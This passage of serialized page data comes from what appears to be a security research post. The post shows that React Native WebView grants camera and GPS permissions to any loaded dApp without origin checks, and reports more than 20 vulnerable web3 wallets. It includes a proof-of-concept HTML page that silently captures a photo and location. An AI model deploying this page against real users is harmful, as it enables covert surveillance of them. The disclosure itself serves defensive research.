",{"type":24,"tag":69,"props":158574,"children":158577},{"href":158575,"rel":158576},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[73],[158578],{"type":29,"value":158449},{"type":29,"value":158580}," method, we see a similar pattern.",{"type":24,"tag":80,"props":158582,"children":158586},{"className":158583,"code":158584,"language":158585,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[158587],{"type":24,"tag":32,"props":158588,"children":158589},{"__ignoreMap":7},[158590,158598,158627,158687,158707,158718],{"type":24,"tag":90,"props":158591,"children":158592},{"class":92,"line":93},[158593],{"type":24,"tag":90,"props":158594,"children":158595},{"style":252},[158596],{"type":29,"value":158597},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":24,"tag":90,"props":158599,"children":158600},{"class":92,"line":200},[158601,158605,158609,158614,158618,158623],{"type":24,"tag":90,"props":158602,"children":158603},{"style":636},[158604],{"type":29,"value":2084},{"type":24,"tag":90,"props":158606,"children":158607},{"style":114},[158608],{"type":29,"value":1151},{"type":24,"tag":90,"props":158610,"children":158611},{"style":136},[158612],{"type":29,"value":158613},"requestedAndroidPermissions",{"type":24,"tag":90,"props":158615,"children":158616},{"style":114},[158617],{"type":29,"value":226},{"type":24,"tag":90,"props":158619,"children":158620},{"style":108},[158621],{"type":29,"value":158622},"isEmpty",{"type":24,"tag":90,"props":158624,"children":158625},{"style":114},[158626],{"type":29,"value":93851},{"type":24,"tag":90,"props":158628,"children":158629},{"class":92,"line":239},[158630,158635,158639,158644,158648,158653,158657,158662,158666,158670,158675,158679,158683],{"type":24,"tag":90,"props":158631,"children":158632},{"style":136},[158633],{"type":29,"value":158634}," request",{"type":24,"tag":90,"props":158636,"children":158637},{"style":114},[158638],{"type":29,"value":226},{"type":24,"tag":90,"props":158640,"children":158641},{"style":108},[158642],{"type":29,"value":158643},"grant",{"type":24,"tag":90,"props":158645,"children":158646},{"style":114},[158647],{"type":29,"value":117},{"type":24,"tag":90,"props":158649,"children":158650},{"style":136},[158651],{"type":29,"value":158652},"grantedPermissions",{"type":24,"tag":90,"props":158654,"children":158655},{"style":114},[158656],{"type":29,"value":226},{"type":24,"tag":90,"props":158658,"children":158659},{"style":108},[158660],{"type":29,"value":158661},"toArray",{"type":24,"tag":90,"props":158663,"children":158664},{"style":114},[158665],{"type":29,"value":117},{"type":24,"tag":90,"props":158667,"children":158668},{"style":636},[158669],{"type":29,"value":1622},{"type":24,"tag":90,"props":158671,"children":158672},{"style":146},[158673],{"type":29,"value":158674}," String",{"type":24,"tag":90,"props":158676,"children":158677},{"style":114},[158678],{"type":29,"value":719},{"type":24,"tag":90,"props":158680,"children":158681},{"style":349},[158682],{"type":29,"value":6408},{"type":24,"tag":90,"props":158684,"children":158685},{"style":114},[158686],{"type":29,"value":105342},{"type":24,"tag":90,"props":158688,"children":158689},{"class":92,"line":248},[158690,158695,158699,158703],{"type":24,"tag":90,"props":158691,"children":158692},{"style":114},[158693],{"type":29,"value":158694}," grantedPermissions ",{"type":24,"tag":90,"props":158696,"children":158697},{"style":120},[158698],{"type":29,"value":5491},{"type":24,"tag":90,"props":158700,"children":158701},{"style":97},[158702],{"type":29,"value":72097},{"type":24,"tag":90,"props":158704,"children":158705},{"style":114},[158706],{"type":29,"value":381},{"type":24,"tag":90,"props":158708,"children":158709},{"class":92,"line":258},[158710,158714],{"type":24,"tag":90,"props":158711,"children":158712},{"style":636},[158713],{"type":29,"value":3510},{"type":24,"tag":90,"props":158715,"children":158716},{"style":114},[158717],{"type":29,"value":381},{"type":24,"tag":90,"props":158719,"children":158720},{"class":92,"line":272},[158721],{"type":24,"tag":90,"props":158722,"children":158723},{"style":114},[158724],{"type":29,"value":827},{"type":24,"tag":25,"props":158726,"children":158727},{},[158728],{"type":29,"value":158729},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":24,"tag":1019,"props":158731,"children":158733},{"id":158732},"real-world-exploitation",[158734],{"type":29,"value":158735},"Real world exploitation",{"type":24,"tag":25,"props":158737,"children":158738},{},[158739],{"type":29,"value":158740},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":24,"tag":25,"props":158742,"children":158743},{},[158744],{"type":29,"value":158745},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":24,"tag":25,"props":158747,"children":158748},{},[158749,158751,158758],{"type":29,"value":158750},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":24,"tag":69,"props":158752,"children":158755},{"href":158753,"rel":158754},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[73],[158756],{"type":29,"value":158757},"Justson",{"type":29,"value":158759},", used by a popular wallet in the Stellar ecosystem.",{"type":24,"tag":20686,"props":158761,"children":158762},{"id":41321},[158763],{"type":29,"value":36644},{"type":24,"tag":25,"props":158765,"children":158766},{},[158767],{"type":29,"value":158768},"In order to exploit this issue, we assume the following preconditions:",{"type":24,"tag":3100,"props":158770,"children":158771},{},[158772,158777,158782],{"type":24,"tag":3104,"props":158773,"children":158774},{},[158775],{"type":29,"value":158776},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":24,"tag":3104,"props":158778,"children":158779},{},[158780],{"type":29,"value":158781},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":24,"tag":3104,"props":158783,"children":158784},{},[158785],{"type":29,"value":158786},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":24,"tag":80,"props":158788,"children":158790},{"className":51845,"code":158789,"language":34196,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[158791],{"type":24,"tag":32,"props":158792,"children":158793},{"__ignoreMap":7},[158794,158814,158829,158845,158875,158898,158913,158928,158960,159006,159042,159070,159085,159131,159177,159185,159253,159281,159296,159304,159311,159331,159391,159432,159461,159502,159509,159538,159576,159613,159620,159627,159660,159681,159688,159750,159806,159842,159888,159896,159903,159946,159979,160104,160137,160144,160151,160158,160170,160185,160200],{"type":24,"tag":90,"props":158795,"children":158796},{"class":92,"line":93},[158797,158801,158805,158810],{"type":24,"tag":90,"props":158798,"children":158799},{"style":34189},[158800],{"type":29,"value":36040},{"type":24,"tag":90,"props":158802,"children":158803},{"style":97},[158804],{"type":29,"value":36045},{"type":24,"tag":90,"props":158806,"children":158807},{"style":136},[158808],{"type":29,"value":158809}," html",{"type":24,"tag":90,"props":158811,"children":158812},{"style":34189},[158813],{"type":29,"value":8377},{"type":24,"tag":90,"props":158815,"children":158816},{"class":92,"line":200},[158817,158821,158825],{"type":24,"tag":90,"props":158818,"children":158819},{"style":34189},[158820],{"type":29,"value":1575},{"type":24,"tag":90,"props":158822,"children":158823},{"style":97},[158824],{"type":29,"value":34196},{"type":24,"tag":90,"props":158826,"children":158827},{"style":34189},[158828],{"type":29,"value":8377},{"type":24,"tag":90,"props":158830,"children":158831},{"class":92,"line":239},[158832,158836,158841],{"type":24,"tag":90,"props":158833,"children":158834},{"style":34189},[158835],{"type":29,"value":1575},{"type":24,"tag":90,"props":158837,"children":158838},{"style":97},[158839],{"type":29,"value":158840},"head",{"type":24,"tag":90,"props":158842,"children":158843},{"style":34189},[158844],{"type":29,"value":8377},{"type":24,"tag":90,"props":158846,"children":158847},{"class":92,"line":248},[158848,158852,158857,158862,158866,158871],{"type":24,"tag":90,"props":158849,"children":158850},{"style":34189},[158851],{"type":29,"value":34259},{"type":24,"tag":90,"props":158853,"children":158854},{"style":97},[158855],{"type":29,"value":158856},"meta",{"type":24,"tag":90,"props":158858,"children":158859},{"style":136},[158860],{"type":29,"value":158861}," charset",{"type":24,"tag":90,"props":158863,"children":158864},{"style":114},[158865],{"type":29,"value":5491},{"type":24,"tag":90,"props":158867,"children":158868},{"style":1085},[158869],{"type":29,"value":158870},"\"utf-8\"",{"type":24,"tag":90,"props":158872,"children":158873},{"style":34189},[158874],{"type":29,"value":8377},{"type":24,"tag":90,"props":158876,"children":158877},{"class":92,"line":258},[158878,158882,158886,158890,158894],{"type":24,"tag":90,"props":158879,"children":158880},{"style":34189},[158881],{"type":29,"value":34259},{"type":24,"tag":90,"props":158883,"children":158884},{"style":97},[158885],{"type":29,"value":36118},{"type":24,"tag":90,"props":158887,"children":158888},{"style":34189},[158889],{"type":29,"value":51889},{"type":24,"tag":90,"props":158891,"children":158892},{"style":97},[158893],{"type":29,"value":36118},{"type":24,"tag":90,"props":158895,"children":158896},{"style":34189},[158897],{"type":29,"value":8377},{"type":24,"tag":90,"props":158899,"children":158900},{"class":92,"line":272},[158901,158905,158909],{"type":24,"tag":90,"props":158902,"children":158903},{"style":34189},[158904],{"type":29,"value":34243},{"type":24,"tag":90,"props":158906,"children":158907},{"style":97},[158908],{"type":29,"value":158840},{"type":24,"tag":90,"props":158910,"children":158911},{"style":34189},[158912],{"type":29,"value":8377},{"type":24,"tag":90,"props":158914,"children":158915},{"class":92,"line":281},[158916,158920,158924],{"type":24,"tag":90,"props":158917,"children":158918},{"style":34189},[158919],{"type":29,"value":1575},{"type":24,"tag":90,"props":158921,"children":158922},{"style":97},[158923],{"type":29,"value":34213},{"type":24,"tag":90,"props":158925,"children":158926},{"style":34189},[158927],{"type":29,"value":8377},{"type":24,"tag":90,"props":158929,"children":158930},{"class":92,"line":384},[158931,158935,158939,158943,158948,158952,158956],{"type":24,"tag":90,"props":158932,"children":158933},{"style":34189},[158934],{"type":29,"value":34259},{"type":24,"tag":90,"props":158936,"children":158937},{"style":97},[158938],{"type":29,"value":850},{"type":24,"tag":90,"props":158940,"children":158941},{"style":34189},[158942],{"type":29,"value":12830},{"type":24,"tag":90,"props":158944,"children":158945},{"style":114},[158946],{"type":29,"value":158947},"Smile dApp :)",{"type":24,"tag":90,"props":158949,"children":158950},{"style":34189},[158951],{"type":29,"value":34243},{"type":24,"tag":90,"props":158953,"children":158954},{"style":97},[158955],{"type":29,"value":850},{"type":24,"tag":90,"props":158957,"children":158958},{"style":34189},[158959],{"type":29,"value":8377},{"type":24,"tag":90,"props":158961,"children":158962},{"class":92,"line":420},[158963,158967,158972,158976,158980,158985,158989,158994,158998,159002],{"type":24,"tag":90,"props":158964,"children":158965},{"style":34189},[158966],{"type":29,"value":34259},{"type":24,"tag":90,"props":158968,"children":158969},{"style":97},[158970],{"type":29,"value":158971},"button",{"type":24,"tag":90,"props":158973,"children":158974},{"style":136},[158975],{"type":29,"value":34269},{"type":24,"tag":90,"props":158977,"children":158978},{"style":114},[158979],{"type":29,"value":5491},{"type":24,"tag":90,"props":158981,"children":158982},{"style":1085},[158983],{"type":29,"value":158984},"\"connect\"",{"type":24,"tag":90,"props":158986,"children":158987},{"style":34189},[158988],{"type":29,"value":12830},{"type":24,"tag":90,"props":158990,"children":158991},{"style":114},[158992],{"type":29,"value":158993},"Connect your wallet!",{"type":24,"tag":90,"props":158995,"children":158996},{"style":34189},[158997],{"type":29,"value":34243},{"type":24,"tag":90,"props":158999,"children":159000},{"style":97},[159001],{"type":29,"value":158971},{"type":24,"tag":90,"props":159003,"children":159004},{"style":34189},[159005],{"type":29,"value":8377},{"type":24,"tag":90,"props":159007,"children":159008},{"class":92,"line":428},[159009,159013,159017,159021,159025,159030,159034,159038],{"type":24,"tag":90,"props":159010,"children":159011},{"style":34189},[159012],{"type":29,"value":34259},{"type":24,"tag":90,"props":159014,"children":159015},{"style":97},[159016],{"type":29,"value":80},{"type":24,"tag":90,"props":159018,"children":159019},{"style":136},[159020],{"type":29,"value":34269},{"type":24,"tag":90,"props":159022,"children":159023},{"style":114},[159024],{"type":29,"value":5491},{"type":24,"tag":90,"props":159026,"children":159027},{"style":1085},[159028],{"type":29,"value":159029},"\"gps\"",{"type":24,"tag":90,"props":159031,"children":159032},{"style":34189},[159033],{"type":29,"value":51889},{"type":24,"tag":90,"props":159035,"children":159036},{"style":97},[159037],{"type":29,"value":80},{"type":24,"tag":90,"props":159039,"children":159040},{"style":34189},[159041],{"type":29,"value":8377},{"type":24,"tag":90,"props":159043,"children":159044},{"class":92,"line":437},[159045,159049,159053,159057,159061,159066],{"type":24,"tag":90,"props":159046,"children":159047},{"style":34189},[159048],{"type":29,"value":34259},{"type":24,"tag":90,"props":159050,"children":159051},{"style":97},[159052],{"type":29,"value":6301},{"type":24,"tag":90,"props":159054,"children":159055},{"style":136},[159056],{"type":29,"value":34269},{"type":24,"tag":90,"props":159058,"children":159059},{"style":114},[159060],{"type":29,"value":5491},{"type":24,"tag":90,"props":159062,"children":159063},{"style":1085},[159064],{"type":29,"value":159065},"\"pic\"",{"type":24,"tag":90,"props":159067,"children":159068},{"style":34189},[159069],{"type":29,"value":8377},{"type":24,"tag":90,"props":159071,"children":159072},{"class":92,"line":574},[159073,159077,159081],{"type":24,"tag":90,"props":159074,"children":159075},{"style":34189},[159076],{"type":29,"value":34259},{"type":24,"tag":90,"props":159078,"children":159079},{"style":97},[159080],{"type":29,"value":34229},{"type":24,"tag":90,"props":159082,"children":159083},{"style":34189},[159084],{"type":29,"value":8377},{"type":24,"tag":90,"props":159086,"children":159087},{"class":92,"line":606},[159088,159093,159097,159102,159106,159111,159115,159119,159123,159127],{"type":24,"tag":90,"props":159089,"children":159090},{"style":136},[159091],{"type":29,"value":159092}," window",{"type":24,"tag":90,"props":159094,"children":159095},{"style":120},[159096],{"type":29,"value":226},{"type":24,"tag":90,"props":159098,"children":159099},{"style":108},[159100],{"type":29,"value":159101},"addEventListener",{"type":24,"tag":90,"props":159103,"children":159104},{"style":120},[159105],{"type":29,"value":117},{"type":24,"tag":90,"props":159107,"children":159108},{"style":1085},[159109],{"type":29,"value":159110},"'unhandledrejection'",{"type":24,"tag":90,"props":159112,"children":159113},{"style":120},[159114],{"type":29,"value":133},{"type":24,"tag":90,"props":159116,"children":159117},{"style":97},[159118],{"type":29,"value":33190},{"type":24,"tag":90,"props":159120,"children":159121},{"style":120},[159122],{"type":29,"value":1151},{"type":24,"tag":90,"props":159124,"children":159125},{"style":136},[159126],{"type":29,"value":83958},{"type":24,"tag":90,"props":159128,"children":159129},{"style":120},[159130],{"type":29,"value":1297},{"type":24,"tag":90,"props":159132,"children":159133},{"class":92,"line":615},[159134,159139,159143,159148,159152,159156,159160,159165,159169,159173],{"type":24,"tag":90,"props":159135,"children":159136},{"style":108},[159137],{"type":29,"value":159138}," alert",{"type":24,"tag":90,"props":159140,"children":159141},{"style":120},[159142],{"type":29,"value":117},{"type":24,"tag":90,"props":159144,"children":159145},{"style":1085},[159146],{"type":29,"value":159147},"`Unhandled Promise Rejection: ",{"type":24,"tag":90,"props":159149,"children":159150},{"style":97},[159151],{"type":29,"value":35923},{"type":24,"tag":90,"props":159153,"children":159154},{"style":136},[159155],{"type":29,"value":83958},{"type":24,"tag":90,"props":159157,"children":159158},{"style":120},[159159],{"type":29,"value":226},{"type":24,"tag":90,"props":159161,"children":159162},{"style":136},[159163],{"type":29,"value":159164},"reason",{"type":24,"tag":90,"props":159166,"children":159167},{"style":97},[159168],{"type":29,"value":35955},{"type":24,"tag":90,"props":159170,"children":159171},{"style":1085},[159172],{"type":29,"value":12750},{"type":24,"tag":90,"props":159174,"children":159175},{"style":120},[159176],{"type":29,"value":571},{"type":24,"tag":90,"props":159178,"children":159179},{"class":92,"line":623},[159180],{"type":24,"tag":90,"props":159181,"children":159182},{"style":120},[159183],{"type":29,"value":159184}," });\n",{"type":24,"tag":90,"props":159186,"children":159187},{"class":92,"line":632},[159188,159192,159196,159200,159204,159208,159212,159216,159220,159224,159228,159232,159236,159241,159245,159249],{"type":24,"tag":90,"props":159189,"children":159190},{"style":136},[159191],{"type":29,"value":159092},{"type":24,"tag":90,"props":159193,"children":159194},{"style":120},[159195],{"type":29,"value":226},{"type":24,"tag":90,"props":159197,"children":159198},{"style":108},[159199],{"type":29,"value":34502},{"type":24,"tag":90,"props":159201,"children":159202},{"style":120},[159203],{"type":29,"value":34725},{"type":24,"tag":90,"props":159205,"children":159206},{"style":97},[159207],{"type":29,"value":33190},{"type":24,"tag":90,"props":159209,"children":159210},{"style":120},[159211],{"type":29,"value":1151},{"type":24,"tag":90,"props":159213,"children":159214},{"style":136},[159215],{"type":29,"value":59771},{"type":24,"tag":90,"props":159217,"children":159218},{"style":120},[159219],{"type":29,"value":133},{"type":24,"tag":90,"props":159221,"children":159222},{"style":136},[159223],{"type":29,"value":72205},{"type":24,"tag":90,"props":159225,"children":159226},{"style":120},[159227],{"type":29,"value":133},{"type":24,"tag":90,"props":159229,"children":159230},{"style":136},[159231],{"type":29,"value":92},{"type":24,"tag":90,"props":159233,"children":159234},{"style":120},[159235],{"type":29,"value":133},{"type":24,"tag":90,"props":159237,"children":159238},{"style":136},[159239],{"type":29,"value":159240},"col",{"type":24,"tag":90,"props":159242,"children":159243},{"style":120},[159244],{"type":29,"value":133},{"type":24,"tag":90,"props":159246,"children":159247},{"style":136},[159248],{"type":29,"value":1357},{"type":24,"tag":90,"props":159250,"children":159251},{"style":120},[159252],{"type":29,"value":1297},{"type":24,"tag":90,"props":159254,"children":159255},{"class":92,"line":669},[159256,159260,159264,159269,159273,159277],{"type":24,"tag":90,"props":159257,"children":159258},{"style":108},[159259],{"type":29,"value":159138},{"type":24,"tag":90,"props":159261,"children":159262},{"style":120},[159263],{"type":29,"value":117},{"type":24,"tag":90,"props":159265,"children":159266},{"style":1085},[159267],{"type":29,"value":159268},"'onerror: '",{"type":24,"tag":90,"props":159270,"children":159271},{"style":120},[159272],{"type":29,"value":36511},{"type":24,"tag":90,"props":159274,"children":159275},{"style":136},[159276],{"type":29,"value":59771},{"type":24,"tag":90,"props":159278,"children":159279},{"style":120},[159280],{"type":29,"value":571},{"type":24,"tag":90,"props":159282,"children":159283},{"class":92,"line":683},[159284,159288,159292],{"type":24,"tag":90,"props":159285,"children":159286},{"style":636},[159287],{"type":29,"value":80906},{"type":24,"tag":90,"props":159289,"children":159290},{"style":97},[159291],{"type":29,"value":11431},{"type":24,"tag":90,"props":159293,"children":159294},{"style":120},[159295],{"type":29,"value":381},{"type":24,"tag":90,"props":159297,"children":159298},{"class":92,"line":737},[159299],{"type":24,"tag":90,"props":159300,"children":159301},{"style":120},[159302],{"type":29,"value":159303}," };\n",{"type":24,"tag":90,"props":159305,"children":159306},{"class":92,"line":751},[159307],{"type":24,"tag":90,"props":159308,"children":159309},{"emptyLinePlaceholder":16},[159310],{"type":29,"value":245},{"type":24,"tag":90,"props":159312,"children":159313},{"class":92,"line":782},[159314,159319,159323,159327],{"type":24,"tag":90,"props":159315,"children":159316},{"style":97},[159317],{"type":29,"value":159318}," async",{"type":24,"tag":90,"props":159320,"children":159321},{"style":97},[159322],{"type":29,"value":40030},{"type":24,"tag":90,"props":159324,"children":159325},{"style":108},[159326],{"type":29,"value":92610},{"type":24,"tag":90,"props":159328,"children":159329},{"style":120},[159330],{"type":29,"value":2245},{"type":24,"tag":90,"props":159332,"children":159333},{"class":92,"line":791},[159334,159338,159343,159347,159351,159356,159360,159365,159369,159374,159378,159383,159387],{"type":24,"tag":90,"props":159335,"children":159336},{"style":97},[159337],{"type":29,"value":152864},{"type":24,"tag":90,"props":159339,"children":159340},{"style":136},[159341],{"type":29,"value":159342}," stream",{"type":24,"tag":90,"props":159344,"children":159345},{"style":120},[159346],{"type":29,"value":34725},{"type":24,"tag":90,"props":159348,"children":159349},{"style":636},[159350],{"type":29,"value":34730},{"type":24,"tag":90,"props":159352,"children":159353},{"style":136},[159354],{"type":29,"value":159355}," navigator",{"type":24,"tag":90,"props":159357,"children":159358},{"style":120},[159359],{"type":29,"value":226},{"type":24,"tag":90,"props":159361,"children":159362},{"style":136},[159363],{"type":29,"value":159364},"mediaDevices",{"type":24,"tag":90,"props":159366,"children":159367},{"style":120},[159368],{"type":29,"value":226},{"type":24,"tag":90,"props":159370,"children":159371},{"style":108},[159372],{"type":29,"value":159373},"getUserMedia",{"type":24,"tag":90,"props":159375,"children":159376},{"style":120},[159377],{"type":29,"value":33311},{"type":24,"tag":90,"props":159379,"children":159380},{"style":136},[159381],{"type":29,"value":159382},"video:",{"type":24,"tag":90,"props":159384,"children":159385},{"style":97},[159386],{"type":29,"value":14835},{"type":24,"tag":90,"props":159388,"children":159389},{"style":120},[159390],{"type":29,"value":40651},{"type":24,"tag":90,"props":159392,"children":159393},{"class":92,"line":799},[159394,159398,159403,159407,159411,159415,159419,159423,159428],{"type":24,"tag":90,"props":159395,"children":159396},{"style":97},[159397],{"type":29,"value":152864},{"type":24,"tag":90,"props":159399,"children":159400},{"style":136},[159401],{"type":29,"value":159402}," video",{"type":24,"tag":90,"props":159404,"children":159405},{"style":120},[159406],{"type":29,"value":34725},{"type":24,"tag":90,"props":159408,"children":159409},{"style":136},[159410],{"type":29,"value":34521},{"type":24,"tag":90,"props":159412,"children":159413},{"style":120},[159414],{"type":29,"value":226},{"type":24,"tag":90,"props":159416,"children":159417},{"style":108},[159418],{"type":29,"value":38537},{"type":24,"tag":90,"props":159420,"children":159421},{"style":120},[159422],{"type":29,"value":117},{"type":24,"tag":90,"props":159424,"children":159425},{"style":1085},[159426],{"type":29,"value":159427},"\"video\"",{"type":24,"tag":90,"props":159429,"children":159430},{"style":120},[159431],{"type":29,"value":571},{"type":24,"tag":90,"props":159433,"children":159434},{"class":92,"line":807},[159435,159440,159444,159449,159453,159457],{"type":24,"tag":90,"props":159436,"children":159437},{"style":136},[159438],{"type":29,"value":159439}," video",{"type":24,"tag":90,"props":159441,"children":159442},{"style":120},[159443],{"type":29,"value":226},{"type":24,"tag":90,"props":159445,"children":159446},{"style":136},[159447],{"type":29,"value":159448},"srcObject",{"type":24,"tag":90,"props":159450,"children":159451},{"style":120},[159452],{"type":29,"value":34725},{"type":24,"tag":90,"props":159454,"children":159455},{"style":136},[159456],{"type":29,"value":38077},{"type":24,"tag":90,"props":159458,"children":159459},{"style":120},[159460],{"type":29,"value":381},{"type":24,"tag":90,"props":159462,"children":159463},{"class":92,"line":821},[159464,159468,159473,159477,159481,159485,159489,159493,159498],{"type":24,"tag":90,"props":159465,"children":159466},{"style":97},[159467],{"type":29,"value":152864},{"type":24,"tag":90,"props":159469,"children":159470},{"style":136},[159471],{"type":29,"value":159472}," canvas",{"type":24,"tag":90,"props":159474,"children":159475},{"style":120},[159476],{"type":29,"value":34725},{"type":24,"tag":90,"props":159478,"children":159479},{"style":136},[159480],{"type":29,"value":34521},{"type":24,"tag":90,"props":159482,"children":159483},{"style":120},[159484],{"type":29,"value":226},{"type":24,"tag":90,"props":159486,"children":159487},{"style":108},[159488],{"type":29,"value":38537},{"type":24,"tag":90,"props":159490,"children":159491},{"style":120},[159492],{"type":29,"value":117},{"type":24,"tag":90,"props":159494,"children":159495},{"style":1085},[159496],{"type":29,"value":159497},"\"canvas\"",{"type":24,"tag":90,"props":159499,"children":159500},{"style":120},[159501],{"type":29,"value":571},{"type":24,"tag":90,"props":159503,"children":159504},{"class":92,"line":6278},[159505],{"type":24,"tag":90,"props":159506,"children":159507},{"emptyLinePlaceholder":16},[159508],{"type":29,"value":245},{"type":24,"tag":90,"props":159510,"children":159511},{"class":92,"line":11420},[159512,159516,159520,159525,159530,159534],{"type":24,"tag":90,"props":159513,"children":159514},{"style":136},[159515],{"type":29,"value":159439},{"type":24,"tag":90,"props":159517,"children":159518},{"style":120},[159519],{"type":29,"value":226},{"type":24,"tag":90,"props":159521,"children":159522},{"style":108},[159523],{"type":29,"value":159524},"onloadedmetadata",{"type":24,"tag":90,"props":159526,"children":159527},{"style":120},[159528],{"type":29,"value":159529}," = () ",{"type":24,"tag":90,"props":159531,"children":159532},{"style":97},[159533],{"type":29,"value":1315},{"type":24,"tag":90,"props":159535,"children":159536},{"style":120},[159537],{"type":29,"value":269},{"type":24,"tag":90,"props":159539,"children":159540},{"class":92,"line":11438},[159541,159546,159550,159555,159559,159563,159567,159572],{"type":24,"tag":90,"props":159542,"children":159543},{"style":136},[159544],{"type":29,"value":159545}," canvas",{"type":24,"tag":90,"props":159547,"children":159548},{"style":120},[159549],{"type":29,"value":226},{"type":24,"tag":90,"props":159551,"children":159552},{"style":136},[159553],{"type":29,"value":159554},"width",{"type":24,"tag":90,"props":159556,"children":159557},{"style":120},[159558],{"type":29,"value":34725},{"type":24,"tag":90,"props":159560,"children":159561},{"style":136},[159562],{"type":29,"value":133688},{"type":24,"tag":90,"props":159564,"children":159565},{"style":120},[159566],{"type":29,"value":226},{"type":24,"tag":90,"props":159568,"children":159569},{"style":136},[159570],{"type":29,"value":159571},"videoWidth",{"type":24,"tag":90,"props":159573,"children":159574},{"style":120},[159575],{"type":29,"value":381},{"type":24,"tag":90,"props":159577,"children":159578},{"class":92,"line":11483},[159579,159583,159587,159592,159596,159600,159604,159609],{"type":24,"tag":90,"props":159580,"children":159581},{"style":136},[159582],{"type":29,"value":159545},{"type":24,"tag":90,"props":159584,"children":159585},{"style":120},[159586],{"type":29,"value":226},{"type":24,"tag":90,"props":159588,"children":159589},{"style":136},[159590],{"type":29,"value":159591},"height",{"type":24,"tag":90,"props":159593,"children":159594},{"style":120},[159595],{"type":29,"value":34725},{"type":24,"tag":90,"props":159597,"children":159598},{"style":136},[159599],{"type":29,"value":133688},{"type":24,"tag":90,"props":159601,"children":159602},{"style":120},[159603],{"type":29,"value":226},{"type":24,"tag":90,"props":159605,"children":159606},{"style":136},[159607],{"type":29,"value":159608},"videoHeight",{"type":24,"tag":90,"props":159610,"children":159611},{"style":120},[159612],{"type":29,"value":381},{"type":24,"tag":90,"props":159614,"children":159615},{"class":92,"line":11589},[159616],{"type":24,"tag":90,"props":159617,"children":159618},{"style":120},[159619],{"type":29,"value":49897},{"type":24,"tag":90,"props":159621,"children":159622},{"class":92,"line":25306},[159623],{"type":24,"tag":90,"props":159624,"children":159625},{"emptyLinePlaceholder":16},[159626],{"type":29,"value":245},{"type":24,"tag":90,"props":159628,"children":159629},{"class":92,"line":25341},[159630,159635,159639,159644,159648,159652,159656],{"type":24,"tag":90,"props":159631,"children":159632},{"style":136},[159633],{"type":29,"value":159634}," connect",{"type":24,"tag":90,"props":159636,"children":159637},{"style":120},[159638],{"type":29,"value":226},{"type":24,"tag":90,"props":159640,"children":159641},{"style":108},[159642],{"type":29,"value":159643},"onclick",{"type":24,"tag":90,"props":159645,"children":159646},{"style":120},[159647],{"type":29,"value":34725},{"type":24,"tag":90,"props":159649,"children":159650},{"style":136},[159651],{"type":29,"value":53278},{"type":24,"tag":90,"props":159653,"children":159654},{"style":97},[159655],{"type":29,"value":29562},{"type":24,"tag":90,"props":159657,"children":159658},{"style":120},[159659],{"type":29,"value":269},{"type":24,"tag":90,"props":159661,"children":159662},{"class":92,"line":25349},[159663,159668,159672,159677],{"type":24,"tag":90,"props":159664,"children":159665},{"style":136},[159666],{"type":29,"value":159667}," 